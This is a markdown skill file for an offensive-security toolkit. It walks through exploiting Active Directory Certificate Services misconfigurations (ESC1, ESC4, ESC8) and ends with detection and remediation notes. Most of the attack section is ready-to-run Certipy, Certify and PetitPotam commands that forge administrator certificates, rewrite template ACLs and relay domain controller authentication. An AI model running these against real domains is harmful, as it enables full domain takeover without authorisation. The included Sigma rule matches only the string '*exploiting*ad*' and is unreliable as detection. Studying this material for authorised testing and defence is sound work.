<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: exploiting-ad-certificate-services
description: >-
  Identify and exploit misconfigured Active Directory Certificate Services (AD CS)
  templates using Certipy and Certify. Cover ESC1-ESC8 vulnerability classes for
  privilege escalation and domain persistence through certificate abuse.
domain: cybersecurity
subdomain: active-directory-security
tags:
  - ad-cs
  - certificates
  - certipy
  - esc1-esc8
  - privilege-escalation
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1649", "T1553.004"]
  frameworks: ["MITRE ATT&CK"]
  tools: ["certipy", "certify", "openssl"]
---

# Exploiting AD Certificate Services

## Overview

AD CS misconfigurations allow low-privilege users to request certificates that
grant Domain Admin access, impersonate any user, or establish persistent domain
access. The ESC1-ESC8 vulnerability classes cover template misconfigurations,
enrollment agent abuse, and NTLM relay to CA web enrollment endpoints.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `certipy-ad (pip install certipy-ad)` | Security tooling |
| `optionally Certify.exe` | Security tooling |
| Valid domain credentials (low-privilege sufficient for enumeration) | Environment requirement |
| Network access to CA enrollment endpoints (RPC, HTTP/HTTPS) | Environment requirement |

## Workflow

### Step 1: Enumerate Vulnerable Templates

```bash
# Find all vulnerable certificate templates
certipy find -u jsmith@corp.local -p 'P@ssw0rd' -dc-ip 10.0.0.1 -vulnerable

# Full enumeration with JSON output
certipy find -u jsmith@corp.local -p 'P@ssw0rd' -dc-ip 10.0.0.1 \
  -output certipy_enum -json

# Certify from Windows
Certify.exe find /vulnerable
Certify.exe cas
```

### Step 2: Exploit ESC1 — Enrollee Supplies Subject

```bash
# Request certificate with arbitrary SAN (Subject Alternative Name)
certipy req -u jsmith@corp.local -p 'P@ssw0rd' -dc-ip 10.0.0.1 \
  -ca CORP-CA -template VulnTemplate -upn administrator@corp.local

# Authenticate with the forged certificate
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1
```

### Step 3: Exploit ESC4 — Template ACL Abuse

```bash
# Modify template to enable ESC1 conditions
certipy template -u jsmith@corp.local -p 'P@ssw0rd' \
  -template VulnTemplate -save-old -dc-ip 10.0.0.1

# Request certificate after template modification
certipy req -u jsmith@corp.local -p 'P@ssw0rd' -dc-ip 10.0.0.1 \
  -ca CORP-CA -template VulnTemplate -upn administrator@corp.local

# Restore original template
certipy template -u jsmith@corp.local -p 'P@ssw0rd' \
  -template VulnTemplate -configuration old_config.json -dc-ip 10.0.0.1
```

### Step 4: Exploit ESC8 — NTLM Relay to Web Enrollment

```bash
# Start Certipy relay listener
certipy relay -ca ca01.corp.local -template DomainController

# Coerce authentication from DC (e.g., PetitPotam)
python3 PetitPotam.py -d corp.local -u jsmith -p 'P@ssw0rd' \
  attacker_ip dc01.corp.local

# Authenticate with captured DC certificate
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.1
```

### Step 5: Analyze and Report

```bash
node scripts/agent.js analyze --domain corp.local --dc-ip 10.0.0.1
node scripts/agent.js report --domain corp.local --format json
```

## Verification

- [ ] All CA servers and templates enumerated
- [ ] ESC1-ESC8 conditions checked on every template
- [ ] Vulnerable templates documented with exploitation proof
- [ ] Certificate-based persistence paths identified
- [ ] Remediation: fix template permissions, disable SAN, enforce approval

## Detection Opportunities

- Certificate enrollment events (Event 4886, 4887 on CA)
- Event 4768 with certificate-based authentication
- Unusual SAN values in requested certificates
- Template modification events (Event 4899, 4900)

```yaml
title: Exploiting Ad Certificate Services Detection
id: edcebd63-afd7-4f85-963e-455497c6a5b7
status: experimental
description: Detects suspicious activity related to exploiting ad certificate services techniques in active directory security context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*exploiting*ad*"
  condition: selection
level: medium
tags:
  - attack.t1649
  - attack.t1553.004
  - attack.credential_access
falsepositives:
  - Authorized Active Directory administration using approved management tools
```

## References

- [Certipy](https://github.com/ly4k/Certipy) — AD CS exploitation tool
- [Certified Pre-Owned — SpecterOps](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
- [ESC1-ESC8 Attack Classes](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
